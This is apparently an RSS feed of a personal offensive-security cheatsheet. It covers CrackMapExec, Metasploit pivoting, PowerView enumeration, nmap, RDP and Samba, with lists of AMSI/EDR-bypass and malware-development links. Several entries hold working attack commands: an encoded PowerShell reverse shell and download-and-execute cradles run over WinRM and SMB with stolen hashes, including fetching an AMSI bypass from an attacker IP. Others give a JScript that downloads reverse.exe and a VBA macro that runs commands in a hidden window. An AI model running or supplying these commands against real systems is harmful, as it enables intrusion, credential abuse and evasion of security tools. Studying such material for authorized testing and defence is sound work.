<h1 id="crackmapexec---winrm">CrackMapExec - WinRM</h1>
<p>With Hash</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>crackmapexec winrm 172.16.80.24 -u administrator -H 09238831b1af5edab93c773f56409d96 -x &#34;ipconfig&#34;
</span></span></code></pre></div><p>With Password (Example gets a reverse shell)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>crackmapexec winrm 172.16.80.24 -u brie -p fn89hudi1892r -x &#34;powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgAxADAANwAvAG4AaQBlAHIAaQAuAHAAcwAxACIAKQA7AEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4ANAA5AC4AMQAwADcALwByAHUAbgAtAHMAaABlAGwAbABjAG8AZABlAC0ANgA0AGIAaQB0AHMALgBwAHMAMQAiACkACgA=&#34;
</span></span></code></pre></div><hr>
<h1 id="crackmapexec---smb">CrackMapExec - SMB</h1>
<p>With Hash</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>crackmapexec smb 172.16.21.22 -u gouda -H 09238831b1af5edab93c773f56409d96 -x &#34;powershell.exe IEX(New-Object Net.Webclient).downloadString(&#39;http://192.168.42.42/4msibyp455.ps1&#39;);IEX(New-Object Net.Webclient).downloadString(&#39;http://192.168.42.42/dameelreversooo.ps1&#39;)&#34;
</span></span></code></pre></div><p>With Hash + Domain</p></description></item><item><title>Metasploit</title><link>https://onikenaz.ovh/cheatsheets/hacking/pivoting/metasploit/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/pivoting/metasploit/</guid><description><p>We use metasploit: autorute + socks_proxy</p>
<pre tabindex="0"><code class="language-background" data-lang="background">use post/multi/manage/autoroute
set session 8
run
use auxiliary/server/socks_proxy
run -j
</code></pre><p>The SRVPORT of socks_proxy must match the one configured in proxychains.conf as the VERSION used as well.</p>
<hr></description></item><item><title>Misc</title><link>https://onikenaz.ovh/cheatsheets/hacking/good_to_know/misc/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/good_to_know/misc/</guid><description><h1 id="enable-execution-of-powershell-scripts">Enable execution of PowerShell Scripts</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Set-ExecutionPolicy RemoteSigned
</span></span><span style="display:flex;"><span>Set-ExecutionPolicy Unrestricted
</span></span><span style="display:flex;"><span>powershell.exe -exec bypass
</span></span></code></pre></div><hr>
<h1 id="encode-powershell-b64-from-linux">Encode Powershell b64 from Linux</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>echo &#39;ImAnEviCradleBuuhhhh&#39; | iconv -t UTF-16LE | base64 -w0
</span></span></code></pre></div><hr>
<h1 id="encodedecode-b64-in-windows-without-powershell">Encode/Decode b64 in Windows WITHOUT Powershell</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>certutil -encode &lt;inputfile&gt; &lt;outputfile&gt;
</span></span><span style="display:flex;"><span>certutil -decode &lt;b64inputfile&gt; &lt;plainoutputdecodedfile&gt;
</span></span><span style="display:flex;"><span> ^-- If the file exists I can use the -f flag which will force an overwrite
</span></span></code></pre></div><hr>
<h1 id="set-proxy-in-code-used-windows">Set Proxy in code used (Windows)</h1>
<h2 id="powershell">Powershell</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>[System.Net.WebRequest]::DefaultWebProxy.GetProxy(url)
</span></span></code></pre></div><h2 id="jscript">JScript</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>var url = &#34;http://192.168.42.43/reverse.exe&#34;;
</span></span><span style="display:flex;"><span>var var Object = new ActiveXObject(&#34;MSXML2.ServerXMLHTTP.6.0&#34;);
</span></span><span style="display:flex;"><span>Object.setProxy(&#34;2&#34;,&#34;192.168.42.42:3128&#34;);
</span></span><span style="display:flex;"><span>Object.open(&#39;GET&#39;, url, false);
</span></span><span style="display:flex;"><span>Object.send();
</span></span><span style="display:flex;"><span> ^-- This was tricky because lack of debug information. The parameter in &#34;2&#34; means &#34;SXH_PROXY_SET_PROXY&#34;, and it allows to specify a list of one or more servers together with a bypass list. The .open() must be in lowercase otherwise .Open() is another method
</span></span></code></pre></div><hr>
<h1 id="hide-foreground-with-wmi-windows-office-macros">Hide Foreground with WMI (Windows, Office Macros)</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Sub example()
</span></span><span style="display:flex;"><span> Const HIDDEN_WINDOW = 0
</span></span><span style="display:flex;"><span> Dim cmd As String
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span> cmd = &#34;Here there is some commands to execute inside the macro via WMI&#34;
</span></span><span style="display:flex;"><span> Set objWMIService = GetObject(&#34;winmgmts:&#34;)
</span></span><span style="display:flex;"><span> Set objStartup = objWMIService.Get(&#34;Win32_ProcessStartup&#34;)
</span></span><span style="display:flex;"><span> Set objConfig = objStartup.SpawnInstance_
</span></span><span style="display:flex;"><span> objConfig.ShowWindow = HIDDEN_WINDOW
</span></span><span style="display:flex;"><span> Set objProcess = GetObject(&#34;winmgmts:Win32_Process&#34;)
</span></span><span style="display:flex;"><span> errReturn = objProcess.Create(str, Null, objConfig, pid)
</span></span><span style="display:flex;"><span>End Sub
</span></span></code></pre></div><hr></description></item><item><title>Mobile</title><link>https://onikenaz.ovh/resources/labs/mobile/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/labs/mobile/</guid><description><ul>
<li><a href="https://mas.owasp.org/crackmes/">https://mas.owasp.org/crackmes/</a></li>
<li><a href="https://github.com/oversecured/ovaa">https://github.com/oversecured/ovaa</a></li>
</ul>
<hr></description></item><item><title>Networking</title><link>https://onikenaz.ovh/cheatsheets/hacking/enumeration/networking/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/enumeration/networking/</guid><description><h1 id="nmap">nmap</h1>
<p>I tend to run 3 nmaps, an initial one, a full one and an UDP one, all of them in parallel:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>nmap -sV -O --top-ports 50 --open -oA nmap/initial &lt;ip or cidr&gt;
</span></span><span style="display:flex;"><span>nmap -sC -sV -O --open -p- -oA nmap/full &lt;ip or cidr&gt;
</span></span><span style="display:flex;"><span>nmap -sU -p- -oA nmap/udp &lt;ip or cidr&gt;
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>--top-ports only scan the N most common ports
</span></span><span style="display:flex;"><span>--open only show open ports
</span></span><span style="display:flex;"><span>-sC use the default scripts
</span></span><span style="display:flex;"><span>-sV detect versions
</span></span><span style="display:flex;"><span>-O detect Operating Systems
</span></span><span style="display:flex;"><span>-p- scan all the ports
</span></span><span style="display:flex;"><span>-oA save the output in normal format, grepable and xml
</span></span><span style="display:flex;"><span>-sU scan UDP ports
</span></span></code></pre></div><p>Is also possible to specify scripts or ports:</p></description></item><item><title>Obfuscators</title><link>https://onikenaz.ovh/resources/exploit_development/deobfuscators/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/exploit_development/deobfuscators/</guid><description><ul>
<li><a href="https://www.unphp.net/">https://www.unphp.net/</a></li>
<li><a href="https://lelinhtinh.github.io/de4js/">https://lelinhtinh.github.io/de4js/</a></li>
<li><a href="http://jsnice.org/">http://jsnice.org/</a></li>
<li><a href="https://github.com/java-deobfuscator/deobfuscator">https://github.com/java-deobfuscator/deobfuscator</a></li>
</ul>
<hr></description></item><item><title>Obfuscators</title><link>https://onikenaz.ovh/resources/exploit_development/obfuscators/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/exploit_development/obfuscators/</guid><description><ul>
<li><a href="https://github.com/danielbohannon/Invoke-Obfuscation">https://github.com/danielbohannon/Invoke-Obfuscation</a></li>
<li><a href="https://github.com/Bashfuscator/Bashfuscator">https://github.com/Bashfuscator/Bashfuscator</a></li>
</ul>
<hr></description></item><item><title>Permissions: ACE/SDDL - Format</title><link>https://onikenaz.ovh/cheatsheets/hacking/active_directory/permissions/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/active_directory/permissions/</guid><description><ul>
<li>ACE (Access Control Enties)</li>
<li>SDDL (Security Descriptor Definition Language)</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>--&gt; ace_type: defines allow/deny/audit
</span></span><span style="display:flex;"><span>--&gt; ace_flags: inheritance objects
</span></span><span style="display:flex;"><span>--&gt; rights: incremental list with given permissions (allowed/audited/denied), incrmentalas ARE NOT the only ones
</span></span><span style="display:flex;"><span>--&gt; object_guid and inherit_object: Allows to apply an ACE on a specified objects by GUID values. GUID is an object class, attribute, set or extended right, if pressent limits the ACE&#39;s to the object the GUID represents. Inherited GUID represents an object class, if present will limit the inheritance of ACE&#39;s to the child enties only of that object
</span></span><span style="display:flex;"><span>--&gt; account_sid: SID of the object the ACE is applying, is the SID of the user or group to the one permissions are being assigned, sometimes there are acronyms of well known SID&#39;s instead of numerical ones
</span></span></code></pre></div><hr></description></item><item><title>Pivoting</title><link>https://onikenaz.ovh/resources/general_hacking/pivoting/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/general_hacking/pivoting/</guid><description><ul>
<li><a href="https://artkond.com/2017/03/23/pivoting-guide/">https://artkond.com/2017/03/23/pivoting-guide/</a></li>
<li><a href="https://nullsweep.com/pivot-cheatsheet-for-pentesters/">https://nullsweep.com/pivot-cheatsheet-for-pentesters/</a></li>
<li><a href="https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html">https://0xdf.gitlab.io/2019/01/28/pwk-notes-tunneling-update1.html</a></li>
</ul>
<hr></description></item><item><title>PowerView - methods for enumeration</title><link>https://onikenaz.ovh/cheatsheets/hacking/active_directory/powerview/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/active_directory/powerview/</guid><description><p>This is the command for download injected into memory with an AMSI Bypass before</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-powershell" data-lang="powershell"><span style="display:flex;"><span>$user=<span style="color:#e6db74">&#34;userNameHereIfQueryUsesIt&#34;</span>;$attacker=<span style="color:#e6db74">&#34;192.168.49.107&#34;</span>;$dominio=<span style="color:#e6db74">&#34;example.com&#34;</span>;IEX(New-Object Net.Webclient).downloadString(<span style="color:#e6db74">&#34;http://</span>$attacker<span style="color:#e6db74">/nieri.ps1&#34;</span>);IEX(New-Object Net.Webclient).downloadString(<span style="color:#e6db74">&#34;http://</span>$attacker<span style="color:#e6db74">/PowerView.ps1&#34;</span>);OneOfThePowerViewCmdsFromBelowHere
</span></span></code></pre></div><hr>
<h1 id="acls">ACLs</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Get-ObjectAcl -Identity ceso &lt;-- Get all the objects and acls the given user has
</span></span></code></pre></div><hr>
<h1 id="users">Users</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | ForEach-Object {$_ | Add-Member -NoteProperty Name Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | ForEach-Object {if ( $_.Identity -eq $(&#34;$env:UserDomain\$env:Username&#34;)) {$_}} &lt;-- Maps all users in the domain into a table replacing the SID for the name
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainUser -Domain example.com &lt;-- Enumeration truncated only to the users in the given domain
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainUser -TrustedToAut &lt;-- List all the SPN&#39;s which have Constrained Delegation
</span></span></code></pre></div><hr>
<h1 id="groups">Groups</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | ForEach-Object {$_ | Add-Member -NoteP ropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | ForEach-Objec t {if ($_.Identity -eq $(&#34;$env:UserDomain\$env:Username&#34;)) {$_}} &lt;-- Maps all groups in the domain into a table replacing the SID for the name
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainGroup -Domain example.com &lt;-- Enumeration truncated only to the users in the given domain
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainGroupMember &#34;Enterprise Admins&#34; -Domain example.com &lt;-- Get ALL the members of the group &#34;Enterprise Admins&#34; inside the example.com domain
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainForeignGroupMember -Domain example2.com &lt;-- Enumerate groups in a trusted forest or domain which contains NON-NATIVE members
</span></span></code></pre></div><hr>
<h1 id="computers">Computers</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Get-DomainComputer | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identit y -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $(&#34;$env:UserDomain\$env:Username&#34;)) {$_}} &lt;-- Enumerate computers accounts in the domain
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainComputer -Unconstrained &lt;-- Enumerate unconstrained computers
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainComputer -Identity cesoComputer &lt;-- Verify that cesoComputer exists
</span></span></code></pre></div><hr>
<h1 id="trusts">Trusts</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Get-DomainTrust &lt;-- Enumerate trusts by making an LDAP query, this works by the DC creating a Trusted Domain Object (TDO)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainTrust -API &lt;-- Enumerate trusts by using Win32 API DsEnumerateDomainTrusts
</span></span><span style="display:flex;"><span> ^-- If I add the -domain flag, it will enumerate all the found in the domain
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span>Get-DomainTrustMapping &lt;-- Automate the process of enumeration for all forest trust and their child domains trust
</span></span></code></pre></div><hr>
<h1 id="sids">SID&rsquo;s</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>Get-DomainSID &lt;-- Get the SID of the current domain
</span></span><span style="display:flex;"><span>Get-DomainSID -Domain example.com &lt;-- Get the SID of example.com
</span></span></code></pre></div><hr></description></item><item><title>Presentations/Videos</title><link>https://onikenaz.ovh/resources/general_hacking/presentations_videos/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/general_hacking/presentations_videos/</guid><description><ul>
<li>Defeating EDRs using Dynamic Invocation - Jean Francois Maes <a href="https://youtu.be/LXfhyTpQ7TM">https://youtu.be/LXfhyTpQ7TM</a></li>
<li>A New Era Of SSRF: Exploiting Url Parsrs - Orange Tsai <a href="https://www.youtube.com/watch?v=D1S-G8rJrEk">https://www.youtube.com/watch?v=D1S-G8rJrEk</a></li>
<li>HTTP Desync Attacks: Smashing into the Cell Next Door - albinowax <a href="https://www.youtube.com/watch?v=w-eJM2Pc0KI&amp;t=1622s">https://www.youtube.com/watch?v=w-eJM2Pc0KI&amp;t=1622s</a></li>
<li>A $7.500 BUG BOUNTY Bug Explained, step by step. (Blind XXE OOB over DNS) - STOK <a href="https://www.youtube.com/watch?v=aSiIHKeN3ys&amp;t=26s&amp;pbjreload=101">https://www.youtube.com/watch?v=aSiIHKeN3ys&amp;t=26s&amp;pbjreload=101</a></li>
<li>GitHub Recon and Sensitive Data Exposure <a href="https://youtu.be/l0YsEk_59fQ">https://youtu.be/l0YsEk_59fQ</a></li>
<li>Cracking the Lens: Targeting HTTP&rsquo;s Hidden Attack-Surface <a href="https://www.youtube.com/watch?v=zP4b3pw94s0">https://www.youtube.com/watch?v=zP4b3pw94s0</a></li>
<li>How to Crush Bug Bounties in the first 12 Months <a href="https://www.youtube.com/watch?v=AbebbJ3cRLI">https://www.youtube.com/watch?v=AbebbJ3cRLI</a></li>
<li>The Bug Hunter&rsquo;s Methodology v4.0 - Recon Edition by @jhaddix at #NahamCon2020 <a href="https://youtu.be/p4JgIu1mceI">https://youtu.be/p4JgIu1mceI</a></li>
<li>How i became a HackerOne MVH without writing a single line of python (Motivational talk) by STOK <a href="https://youtu.be/4YjCta2fcbw">https://youtu.be/4YjCta2fcbw</a></li>
<li>My Journey to Cybersecurity CIA Keynote - Heath Adams (aka The Cyber Mentor) <a href="https://www.youtube.com/watch?v=q4h8A5dQsZw">https://www.youtube.com/watch?v=q4h8A5dQsZw</a></li>
<li>Defeating EDR&rsquo;s using D/Invoke - Jean-François Maes - <a href="https://youtu.be/d_Z_WV9fp9Q">https://youtu.be/d_Z_WV9fp9Q</a></li>
</ul>
<hr></description></item><item><title>RDP</title><link>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/rdp/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/exfiltration/rdp/</guid><description><p>If we have access to a windows machine with a valid user/credentials and this user is in the &ldquo;Remote Desktop Users&rdquo;, we can share a local directorie as a mount volume through rdp itself once we connect to the machine:</p>
<h1 id="linux">Linux</h1>
<h2 id="mounting-volume">Mounting Volume</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>rdesktop -g 1600x800 -r disk:tmp=/usr/share/windows-binaries 192.168.30.30 -u pelota -p -
</span></span></code></pre></div><h2 id="forcing-enable-of-clipboard">Forcing enable of clipboard</h2>
<p>I might want to force the use of the clipboard if it&rsquo;s not being taken by default and use the 100% of the screen:</p></description></item><item><title>Reconnaissance</title><link>https://onikenaz.ovh/resources/tools/reconnaissance/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/tools/reconnaissance/</guid><description><h1 id="general">General</h1>
<ul>
<li><a href="https://github.com/bee-san/pyWhat">https://github.com/bee-san/pyWhat</a></li>
</ul>
<hr>
<h1 id="subdomains">Subdomains</h1>
<h2 id="finders">Finders</h2>
<ul>
<li><a href="https://github.com/projectdiscovery/subfinder">https://github.com/projectdiscovery/subfinder</a></li>
<li><a href="https://github.com/guelfoweb/knock">https://github.com/guelfoweb/knock</a></li>
<li><a href="https://crt.sh/">https://crt.sh/</a></li>
<li><a href="https://shodan.io/">https://shodan.io/</a></li>
<li><a href="https://securitytrails.com/">https://securitytrails.com/</a></li>
<li><a href="https://github.com/OWASP/Amass">https://github.com/OWASP/Amass</a></li>
<li><a href="https://www.crunchbase.com/search/acquisitions">https://www.crunchbase.com/search/acquisitions</a> **&lt;&mdash;&mdash; Discovering searching by acquisitions **</li>
<li><a href="https://censys.io/">https://censys.io/</a></li>
<li><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></li>
<li><a href="https://mxtoolbox.com/">https://mxtoolbox.com/</a></li>
</ul>
<h2 id="takeover">Takeover</h2>
<ul>
<li><a href="https://github.com/EdOverflow/can-i-take-over-xyz">https://github.com/EdOverflow/can-i-take-over-xyz</a></li>
<li><a href="https://github.com/projectdiscovery/nuclei">https://github.com/projectdiscovery/nuclei</a></li>
</ul>
<h2 id="by-asns--whois">By ASNs &amp; Whois</h2>
<ul>
<li><a href="https://bgp.he.net/">https://bgp.he.net/</a></li>
<li><a href="https://apps.db.ripe.net/db-web-ui/#/fulltextsearch">https://apps.db.ripe.net/db-web-ui/#/fulltextsearch</a></li>
<li><a href="https://whois.arin.net/ui/query.do">https://whois.arin.net/ui/query.do</a></li>
<li><a href="https://whoxy.com/">https://whoxy.com/</a></li>
<li><a href="https://github.com/vysecurity/DomLink">https://github.com/vysecurity/DomLink</a></li>
</ul>
<hr></description></item><item><title>Reversing/AV|EDR Bypass/Malware Analysis</title><link>https://onikenaz.ovh/resources/exploit_development/reversing_bypasses/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/resources/exploit_development/reversing_bypasses/</guid><description><ul>
<li><a href="https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell">https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell</a></li>
<li><a href="https://amsi.fail/">https://amsi.fail/</a> <strong>&lt;&mdash;- Automatic generation of some AMSI Bypass</strong></li>
<li><a href="https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf">https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf</a></li>
<li><a href="https://ppn.snovvcrash.rocks/red-team/malware-development/code-injection/shellcode-runners">https://ppn.snovvcrash.rocks/red-team/malware-development/code-injection/shellcode-runners</a></li>
<li><a href="https://samsclass.info/126/126_F21.shtml">https://samsclass.info/126/126_F21.shtml</a> <strong>&lt;&mdash; Practical Malware Analysis Course!</strong></li>
<li><a href="https://www.ringzerolabs.com/2019/08/fast-and-free-malware-analysis-lab-setup.html">https://www.ringzerolabs.com/2019/08/fast-and-free-malware-analysis-lab-setup.html</a></li>
<li><a href="https://epi052.gitlab.io/notes-to-self/blog/2021-06-16-windows-usermode-exploit-development-review/">https://epi052.gitlab.io/notes-to-self/blog/2021-06-16-windows-usermode-exploit-development-review/</a></li>
<li><a href="https://github.com/m0n0ph1/Process-Hollowing">https://github.com/m0n0ph1/Process-Hollowing</a></li>
<li><a href="https://www.virusbulletin.com/virusbulletin/2011/10/okay-so-you-are-win32-emulator">https://www.virusbulletin.com/virusbulletin/2011/10/okay-so-you-are-win32-emulator</a></li>
<li><a href="https://www.usenix.org/system/files/conference/woot16/woot16-paper-blackthorne_update.pdf">https://www.usenix.org/system/files/conference/woot16/woot16-paper-blackthorne_update.pdf</a></li>
<li><a href="https://blog.sannemaasakkers.com/2021/08/07/adversary-phishing-characteristics/">https://blog.sannemaasakkers.com/2021/08/07/adversary-phishing-characteristics/</a></li>
<li><a href="https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/">https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/</a></li>
<li><a href="https://roberreigada.github.io/posts/playing_with_an_edr/">https://roberreigada.github.io/posts/playing_with_an_edr/</a></li>
<li><a href="https://github.com/jthuraisamy/SysWhispers">https://github.com/jthuraisamy/SysWhispers</a></li>
<li><a href="https://raw.githubusercontent.com/Mr-Un1k0d3r/EDRs/main/cortex.txt">https://raw.githubusercontent.com/Mr-Un1k0d3r/EDRs/main/cortex.txt</a> <strong>&lt;&mdash;&ndash; NON documented API&rsquo;s, possible AV/EDR Bypass?</strong></li>
<li><a href="https://0xpat.github.io/Malware_development_part_1/">https://0xpat.github.io/Malware_development_part_1/</a> <strong>&lt;&mdash;- Malware Devlopment series</strong></li>
<li><a href="https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation">https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation</a></li>
<li><a href="https://www.shogunlab.com/blog/2017/08/11/zdzg-windows-exploit-0.html">https://www.shogunlab.com/blog/2017/08/11/zdzg-windows-exploit-0.html</a></li>
<li><a href="https://n4r1b.netlify.app/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1/">https://n4r1b.netlify.app/posts/2020/01/dissecting-the-windows-defender-driver-wdfilter-part-1/</a></li>
<li><a href="https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing">https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing</a></li>
<li><a href="https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection">https://www.ired.team/offensive-security/code-injection-process-injection/apc-queue-code-injection</a> <strong>&lt;&mdash; APC Bypass</strong></li>
<li><a href="https://pinvoke.net/">https://pinvoke.net/</a> <strong>&lt;&mdash;&mdash; Documented APIs for Bypass</strong></li>
<li><a href="https://antiscan.me/">https://antiscan.me/</a></li>
<li><a href="https://github.com/stephenfewer/ReflectiveDLLInjection">https://github.com/stephenfewer/ReflectiveDLLInjection</a> <strong>&ndash;&gt; ReflectiveDLLInjection en Powershell!!!!</strong></li>
<li><a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1">https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1</a> <strong>&ndash;&gt; Invoke-ReflectivePEInjection Powershell</strong></li>
<li><a href="https://blogs.msdn.microsoft.com/joelpob/2004/02/15/creating-delegate-types-via-reflection-emit/">https://blogs.msdn.microsoft.com/joelpob/2004/02/15/creating-delegate-types-via-reflection-emit/</a></li>
<li><a href="https://web.archive.org/web/20120520182849/http://www.exploit-monday.com/2012_05_13_archive.html">https://web.archive.org/web/20120520182849/http://www.exploit-monday.com/2012_05_13_archive.html</a></li>
</ul>
<hr></description></item><item><title>Samba</title><link>https://onikenaz.ovh/cheatsheets/hacking/enumeration/samba/</link><pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate><guid>https://onikenaz.ovh/cheatsheets/hacking/enumeration/samba/</guid><description><h1 id="smbclient">smbclient</h1>
<p>Check if there is anonymous login enabled:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>smbclient -L 192.168.24.24
</span></span></code></pre></div><hr>
<h1 id="impacket">impacket</h1>
